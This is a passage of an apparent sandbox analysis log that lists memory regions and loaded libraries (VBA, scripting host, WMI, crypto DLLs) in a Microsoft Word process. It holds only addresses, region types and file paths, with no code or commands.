name = "private_0x000000000fb60000" filename = "" Region: id = 517 start_va = 0xfb60000 end_va = 0xff27fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000fb60000" filename = "" Region: id = 518 start_va = 0xff30000 end_va = 0x102fcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000ff30000" filename = "" Region: id = 519 start_va = 0xce50000 end_va = 0xd038fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000ce50000" filename = "" Region: id = 520 start_va = 0xfb60000 end_va = 0xfd4cfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000fb60000" filename = "" Region: id = 521 start_va = 0xce50000 end_va = 0xd114fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000ce50000" filename = "" Region: id = 522 start_va = 0xfb60000 end_va = 0xfe21fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000fb60000" filename = "" Region: id = 523 start_va = 0xfe30000 end_va = 0xff9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000fe30000" filename = "" Region: id = 524 start_va = 0xce50000 end_va = 0xcfb2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000ce50000" filename = "" Region: id = 525 start_va = 0xfb60000 end_va = 0xff2cfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000fb60000" filename = "" Region: id = 526 start_va = 0xff30000 end_va = 0x102fafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000ff30000" filename = "" Region: id = 527 start_va = 0x10300000 end_va = 0x104effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000010300000" filename = "" Region: id = 528 start_va = 0xfb60000 end_va = 0xfd4afff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000fb60000" filename = "" Region: id = 529 start_va = 0xfd50000 end_va = 0x10015fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000fd50000" filename = "" Region: id = 530 start_va = 0x10020000 end_va = 0x103f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000010020000" filename = "" Region: id = 531 start_va = 0x10400000 end_va = 0x107fffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000010400000" filename = "" Region: id = 532 start_va = 0xb5e0000 end_va = 0xb65ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "~wrf{e5820fa4-abad-4791-aa9d-915b347905f5}.tmp" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Content.Word\\~WRF{E5820FA4-ABAD-4791-AA9D-915B347905F5}.tmp" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\inetcache\\content.word\\~wrf{e5820fa4-abad-4791-aa9d-915b347905f5}.tmp") Region: id = 533 start_va = 0x693e0000 end_va = 0x6965efff monitored = 1 entry_point = 0x6947bfb8 region_type = mapped_file name = "vbe7.dll" filename = "\\PROGRA~2\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\program files (x86)\\common~1\\micros~1\\vba\\vba7.1\\vbe7.dll") Region: id = 534 start_va = 0x69320000 end_va = 0x693defff monitored = 0 entry_point = 0x69331dfc region_type = mapped_file name = "msvcr100.dll" filename = "\\Windows\\SysWOW64\\msvcr100.dll" (normalized: "c:\\windows\\syswow64\\msvcr100.dll") Region: id = 535 start_va = 0xce50000 end_va = 0xcf9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000ce50000" filename = "" Region: id = 536 start_va = 0x830000 end_va = 0x83ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000830000" filename = "" Region: id = 537 start_va = 0x830000 end_va = 0x83ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000830000" filename = "" Region: id = 538 start_va = 0x7fe90000 end_va = 0x7fe9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fe90000" filename = "" Region: id = 539 start_va = 0x830000 end_va = 0x83ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000830000" filename = "" Region: id = 540 start_va = 0x830000 end_va = 0x833fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 541 start_va = 0x80b0000 end_va = 0x80f4fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000000c.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000000c.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000000c.db") Region: id = 542 start_va = 0x840000 end_va = 0x843fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 543 start_va = 0xb660000 end_va = 0xb6edfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db") Region: id = 544 start_va = 0xbd0000 end_va = 0xbe0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "propsys.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\propsys.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\propsys.dll.mui") Region: id = 545 start_va = 0x850000 end_va = 0x851fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000850000" filename = "" Region: id = 546 start_va = 0xbf0000 end_va = 0xbf1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000bf0000" filename = "" Region: id = 547 start_va = 0xc00000 end_va = 0xc00fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c00000" filename = "" Region: id = 548 start_va = 0xce50000 end_va = 0xcf36fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "calibri.ttf" filename = "\\Windows\\Fonts\\calibri.ttf" (normalized: "c:\\windows\\fonts\\calibri.ttf") Region: id = 549 start_va = 0xcf90000 end_va = 0xcf9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000cf90000" filename = "" Region: id = 550 start_va = 0xcfa0000 end_va = 0xd07cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "calibrib.ttf" filename = "\\Windows\\Fonts\\calibrib.ttf" (normalized: "c:\\windows\\fonts\\calibrib.ttf") Region: id = 551 start_va = 0x10800000 end_va = 0x109fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000010800000" filename = "" Region: id = 552 start_va = 0x69200000 end_va = 0x6931bfff monitored = 0 entry_point = 0x692674f0 region_type = mapped_file name = "uiautomationcore.dll" filename = "\\Windows\\SysWOW64\\UIAutomationCore.dll" (normalized: "c:\\windows\\syswow64\\uiautomationcore.dll") Region: id = 553 start_va = 0x691e0000 end_va = 0x691f8fff monitored = 0 entry_point = 0x691e47e0 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\SysWOW64\\userenv.dll" (normalized: "c:\\windows\\syswow64\\userenv.dll") Region: id = 554 start_va = 0xc00000 end_va = 0xc00fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c00000" filename = "" Region: id = 555 start_va = 0xfb60000 end_va = 0xfc5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000fb60000" filename = "" Region: id = 556 start_va = 0x10a00000 end_va = 0x10dbcfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000010a00000" filename = "" Region: id = 557 start_va = 0x10dc0000 end_va = 0x1117cfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000010dc0000" filename = "" Region: id = 558 start_va = 0x8100000 end_va = 0x810ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008100000" filename = "" Region: id = 559 start_va = 0x8110000 end_va = 0x811ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008110000" filename = "" Region: id = 560 start_va = 0x8270000 end_va = 0x827ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008270000" filename = "" Region: id = 561 start_va = 0x8270000 end_va = 0x827ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008270000" filename = "" Region: id = 562 start_va = 0xd080000 end_va = 0xd11bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000d080000" filename = "" Region: id = 563 start_va = 0x8270000 end_va = 0x827ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008270000" filename = "" Region: id = 564 start_va = 0x8280000 end_va = 0x828ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008280000" filename = "" Region: id = 565 start_va = 0x8290000 end_va = 0x829ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008290000" filename = "" Region: id = 566 start_va = 0x8290000 end_va = 0x829ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008290000" filename = "" Region: id = 567 start_va = 0x82a0000 end_va = 0x82affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000082a0000" filename = "" Region: id = 568 start_va = 0x82b0000 end_va = 0x82bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000082b0000" filename = "" Region: id = 569 start_va = 0x76b50000 end_va = 0x76b54fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "normaliz.dll" filename = "\\Windows\\SysWOW64\\normaliz.dll" (normalized: "c:\\windows\\syswow64\\normaliz.dll") Region: id = 570 start_va = 0x8290000 end_va = 0x82a1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "normidna.nls" filename = "\\Windows\\System32\\normidna.nls" (normalized: "c:\\windows\\system32\\normidna.nls") Region: id = 571 start_va = 0x691d0000 end_va = 0x691dafff monitored = 0 entry_point = 0x691d2150 region_type = mapped_file name = "linkinfo.dll" filename = "\\Windows\\SysWOW64\\linkinfo.dll" (normalized: "c:\\windows\\syswow64\\linkinfo.dll") Region: id = 572 start_va = 0x82b0000 end_va = 0x82b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000082b0000" filename = "" Region: id = 573 start_va = 0x82b0000 end_va = 0x82b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000082b0000" filename = "" Region: id = 574 start_va = 0x69100000 end_va = 0x691c8fff monitored = 0 entry_point = 0x69113180 region_type = mapped_file name = "ntshrui.dll" filename = "\\Windows\\SysWOW64\\ntshrui.dll" (normalized: "c:\\windows\\syswow64\\ntshrui.dll") Region: id = 575 start_va = 0x690e0000 end_va = 0x690fbfff monitored = 0 entry_point = 0x690e4720 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\SysWOW64\\srvcli.dll" (normalized: "c:\\windows\\syswow64\\srvcli.dll") Region: id = 576 start_va = 0x690d0000 end_va = 0x690defff monitored = 0 entry_point = 0x690d3f00 region_type = mapped_file name = "cscapi.dll" filename = "\\Windows\\SysWOW64\\cscapi.dll" (normalized: "c:\\windows\\syswow64\\cscapi.dll") Region: id = 577 start_va = 0x82c0000 end_va = 0x82c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000082c0000" filename = "" Region: id = 578 start_va = 0x11180000 end_va = 0x11280fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011180000" filename = "" Region: id = 579 start_va = 0x11180000 end_va = 0x11280fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011180000" filename = "" Region: id = 580 start_va = 0x11180000 end_va = 0x11280fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011180000" filename = "" Region: id = 581 start_va = 0x82c0000 end_va = 0x82c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000082c0000" filename = "" Region: id = 582 start_va = 0x11180000 end_va = 0x11280fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011180000" filename = "" Region: id = 583 start_va = 0x11180000 end_va = 0x11280fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011180000" filename = "" Region: id = 584 start_va = 0x709e0000 end_va = 0x70a20fff monitored = 0 entry_point = 0x709e7fe0 region_type = mapped_file name = "dataexchange.dll" filename = "\\Windows\\SysWOW64\\DataExchange.dll" (normalized: "c:\\windows\\syswow64\\dataexchange.dll") Region: id = 585 start_va = 0x82c0000 end_va = 0x82cffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000082c0000" filename = "" Region: id = 586 start_va = 0x69040000 end_va = 0x690c0fff monitored = 0 entry_point = 0x6905b260 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\SysWOW64\\sxs.dll" (normalized: "c:\\windows\\syswow64\\sxs.dll") Region: id = 587 start_va = 0xfc60000 end_va = 0xfd40fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msword.olb" filename = "\\Program Files (x86)\\Microsoft Office\\Office16\\MSWORD.OLB" (normalized: "c:\\program files (x86)\\microsoft office\\office16\\msword.olb") Region: id = 588 start_va = 0x11180000 end_va = 0x113a5fff monitored = 1 entry_point = 0x1118e058 region_type = mapped_file name = "vbeui.dll" filename = "\\Program Files (x86)\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vba\\vba7.1\\vbeui.dll") Region: id = 589 start_va = 0x68e00000 end_va = 0x69030fff monitored = 1 entry_point = 0x68e0e058 region_type = mapped_file name = "vbeui.dll" filename = "\\Program Files (x86)\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vba\\vba7.1\\vbeui.dll") Region: id = 590 start_va = 0x82c0000 end_va = 0x82c1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000082c0000" filename = "" Region: id = 591 start_va = 0x74c00000 end_va = 0x74c41fff monitored = 0 entry_point = 0x74c16f10 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\SysWOW64\\wintrust.dll" (normalized: "c:\\windows\\syswow64\\wintrust.dll") Region: id = 592 start_va = 0x764c0000 end_va = 0x764cdfff monitored = 0 entry_point = 0x764c5410 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\SysWOW64\\msasn1.dll" (normalized: "c:\\windows\\syswow64\\msasn1.dll") Region: id = 593 start_va = 0x73f90000 end_va = 0x74107fff monitored = 0 entry_point = 0x73fe8a90 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\SysWOW64\\crypt32.dll" (normalized: "c:\\windows\\syswow64\\crypt32.dll") Region: id = 594 start_va = 0x82d0000 end_va = 0x82dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000082d0000" filename = "" Region: id = 595 start_va = 0xb6f0000 end_va = 0xb715fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "vbe7intl.dll" filename = "\\Program Files (x86)\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBE7INTL.DLL" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vba\\vba7.1\\1033\\vbe7intl.dll") Region: id = 596 start_va = 0xcf40000 end_va = 0xcf4afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "normnfd.nls" filename = "\\Windows\\System32\\normnfd.nls" (normalized: "c:\\windows\\system32\\normnfd.nls") Region: id = 597 start_va = 0xcf50000 end_va = 0xcf5ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000cf50000" filename = "" Region: id = 598 start_va = 0xcf50000 end_va = 0xcf50fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000cf50000" filename = "" Region: id = 599 start_va = 0xcf60000 end_va = 0xcf7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000cf60000" filename = "" Region: id = 600 start_va = 0xcf80000 end_va = 0xcf82fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000cf80000" filename = "" Region: id = 601 start_va = 0xd120000 end_va = 0xd123fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000d120000" filename = "" Region: id = 602 start_va = 0xdd90000 end_va = 0xdd90fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000dd90000" filename = "" Region: id = 603 start_va = 0x11180000 end_va = 0x11180fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011180000" filename = "" Region: id = 604 start_va = 0x11190000 end_va = 0x11193fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011190000" filename = "" Region: id = 605 start_va = 0x111a0000 end_va = 0x111bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000111a0000" filename = "" Region: id = 606 start_va = 0x111c0000 end_va = 0x111c2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000111c0000" filename = "" Region: id = 607 start_va = 0x111d0000 end_va = 0x111e4fff monitored = 1 entry_point = 0x1126bfb8 region_type = mapped_file name = "vbe7.dll" filename = "\\Program Files (x86)\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll") Region: id = 608 start_va = 0x111f0000 end_va = 0x111f4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "stdole2.tlb" filename = "\\Windows\\SysWOW64\\stdole2.tlb" (normalized: "c:\\windows\\syswow64\\stdole2.tlb") Region: id = 609 start_va = 0x11200000 end_va = 0x1127bfff monitored = 0 entry_point = 0x11201000 region_type = mapped_file name = "mso.dll" filename = "\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office16\\mso.dll") Region: id = 610 start_va = 0x11280000 end_va = 0x11283fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011280000" filename = "" Region: id = 611 start_va = 0x11290000 end_va = 0x11293fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011290000" filename = "" Region: id = 612 start_va = 0x112a0000 end_va = 0x112a2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000112a0000" filename = "" Region: id = 613 start_va = 0x112b0000 end_va = 0x112b3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000112b0000" filename = "" Region: id = 614 start_va = 0x112c0000 end_va = 0x112dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000112c0000" filename = "" Region: id = 615 start_va = 0x112e0000 end_va = 0x112e2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000112e0000" filename = "" Region: id = 616 start_va = 0x112f0000 end_va = 0x112f5fff monitored = 1 entry_point = 0x1138bfb8 region_type = mapped_file name = "vbe7.dll" filename = "\\Program Files (x86)\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll") Region: id = 617 start_va = 0x11300000 end_va = 0x11303fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011300000" filename = "" Region: id = 618 start_va = 0x11300000 end_va = 0x1133ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011300000" filename = "" Region: id = 619 start_va = 0x11340000 end_va = 0x1143ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011340000" filename = "" Region: id = 620 start_va = 0x11440000 end_va = 0x11443fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011440000" filename = "" Region: id = 621 start_va = 0x11450000 end_va = 0x11453fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011450000" filename = "" Region: id = 622 start_va = 0x11460000 end_va = 0x11466fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011460000" filename = "" Region: id = 623 start_va = 0x68df0000 end_va = 0x68dfcfff monitored = 0 entry_point = 0x68df3520 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemprox.dll") Region: id = 624 start_va = 0x11470000 end_va = 0x114affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011470000" filename = "" Region: id = 625 start_va = 0x114b0000 end_va = 0x115affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000114b0000" filename = "" Region: id = 626 start_va = 0x68d80000 end_va = 0x68de6fff monitored = 0 entry_point = 0x68d9b610 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\SysWOW64\\wbemcomn.dll" (normalized: "c:\\windows\\syswow64\\wbemcomn.dll") Region: id = 627 start_va = 0x115b0000 end_va = 0x11872fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000115b0000" filename = "" Region: id = 628 start_va = 0x68d60000 end_va = 0x68d70fff monitored = 0 entry_point = 0x68d68fa0 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemsvc.dll") Region: id = 987 start_va = 0x68ca0000 end_va = 0x68d5efff monitored = 0 entry_point = 0x68cd1e80 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\fastprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\fastprox.dll") Region: id = 994 start_va = 0x11880000 end_va = 0x119e7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011880000" filename = "" Region: id = 1053 start_va = 0x119f0000 end_va = 0x11b59fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000119f0000" filename = "" Region: id = 1054 start_va = 0x11880000 end_va = 0x119e6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011880000" filename = "" Region: id = 1055 start_va = 0x119f0000 end_va = 0x11b56fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000119f0000" filename = "" Region: id = 1056 start_va = 0x11880000 end_va = 0x119ecfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011880000" filename = "" Region: id = 1057 start_va = 0x68b50000 end_va = 0x68c9dfff monitored = 0 entry_point = 0x68b93000 region_type = mapped_file name = "comsvcs.dll" filename = "\\Windows\\SysWOW64\\comsvcs.dll" (normalized: "c:\\windows\\syswow64\\comsvcs.dll") Region: id = 1058 start_va = 0x70ac0000 end_va = 0x70ad2fff monitored = 0 entry_point = 0x70ac9950 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 1059 start_va = 0x70010000 end_va = 0x7003efff monitored = 0 entry_point = 0x700295e0 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 1060 start_va = 0x68b20000 end_va = 0x68b42fff monitored = 0 entry_point = 0x68b27b50 region_type = mapped_file name = "wshom.ocx" filename = "\\Windows\\SysWOW64\\wshom.ocx" (normalized: "c:\\windows\\syswow64\\wshom.ocx") Region: id = 1061 start_va = 0x68b00000 end_va = 0x68b15fff monitored = 0 entry_point = 0x68b021d0 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 1062 start_va = 0x68ad0000 end_va = 0x68afafff monitored = 0 entry_point = 0x68ad9a70 region_type = mapped_file name = "scrrun.dll" filename = "\\Windows\\SysWOW64\\scrrun.dll" (normalized: "c:\\windows\\syswow64\\scrrun.dll") Region: id = 1063 start_va = 0x115b0000 end_va = 0x115bcfff monitored = 0 entry_point = 0x115b7b50 region_type = mapped_file name = "wshom.ocx" filename = "\\Windows\\SysWOW64\\wshom.ocx" (normalized: "c:\\windows\\syswow64\\wshom.ocx") Region: id = 1064 start_va = 0x115b0000 end_va = 0x115bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000115b0000" filename = "" Region: id = 1065 start_va = 0x115c0000 end_va = 0x115cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000115c0000" filename = "" Region: id = 1066 start_va = 0x7fe80000 end_va = 0x7fe8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fe80000" filename = "" Region: id = 1067 start_va = 0x115d0000 end_va = 0x11704fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000115d0000" filename = "" Region: id = 1068 start_va = 0x11710000 end_va = 0x11841fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011710000" filename = "" Region: id = 1069 start_va = 0x68730000 end_va = 0x68ac0fff monitored = 0 entry_point = 0x689e35b0 region_type = mapped_file name = "d3dcompiler_47.dll" filename = "\\Windows\\SysWOW64\\D3DCompiler_47.dll" (normalized: "c:\\windows\\syswow64\\d3dcompiler_47.dll") Region: id = 1070 start_va = 0x115d0000 end_va = 0x116cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000115d0000" filename = "" Region: id = 1071 start_va = 0x116d0000 end_va = 0x116dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000116d0000" filename = "" Region: id = 1072 start_va = 0x116e0000 end_va = 0x116effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000116e0000" filename = "" Region: id = 1073 start_va = 0x116f0000 end_va = 0x116fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000116f0000" filename = "" Region: id = 1074 start_va = 0x116f0000 end_va = 0x116fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000116f0000" filename = "" Region: id = 1075 start_va = 0x11700000 end_va = 0x1170ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011700000" filename = "" Region: id = 1076 start_va = 0x119f0000 end_va = 0x11aeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000119f0000" filename = "" Region: id = 1077 start_va = 0x11850000 end_va = 0x1185ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011850000" filename = "" Region: id = 1078 start_va = 0x11860000 end_va = 0x1186ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011860000" filename = "" Region: id = 1079 start_va = 0x11870000 end_va = 0x1187ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011870000" filename = "" Region: id = 1080 start_va = 0x11af0000 end_va = 0x11afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011af0000" filename = "" Region: id = 1081 start_va = 0x11b00000 end_va = 0x11b0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011b00000" filename = "" Region: id = 1082 start_va = 0x11b10000 end_va = 0x11b1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011b10000" filename = "" Region: id = 1083 start_va = 0x11b20000 end_va = 0x11b2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011b20000" filename = "" Region: id = 1084 start_va = 0x11b30000 end_va = 0x11b3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011b30000" filename = "" Region: id = 1085 start_va = 0x11af0000 end_va = 0x11b94fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011af0000" filename = "" Region: id = 1086 start_va = 0x11ba0000 end_va = 0x11baffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011ba0000" filename = "" Region: id = 1087 start_va = 0x11bb0000 end_va = 0x11bbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011bb0000" filename = "" Region: id = 1088 start_va = 0x11bc0000 end_va = 0x11bcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011bc0000" filename = "" Region: id = 1089 start_va = 0x11bd0000 end_va = 0x11bdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011bd0000" filename = "" Region: id = 1090 start_va = 0x11be0000 end_va = 0x11beffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011be0000" filename = "" Region: id = 1091 start_va = 0x11ba0000 end_va = 0x11baffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011ba0000" filename = "" Region: id = 1092 start_va = 0x11bb0000 end_va = 0x11bbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011bb0000" filename = "" Region: id = 1093 start_va = 0x11bc0000 end_va = 0x11bcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011bc0000" filename = "" Region: id = 1094 start_va = 0x11bd0000 end_va = 0x11bdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011bd0000" filename = "" Region: id = 1095 start_va = 0x11be0000 end_va = 0x11beffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011be0000" filename = "" Region: id = 1096 start_va = 0x11bf0000 end_va = 0x11bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011bf0000" filename = "" Region: id = 1097 start_va = 0x11bf0000 end_va = 0x11bfffff monitored = 1 entry_point = 0x0 region_type = private name = 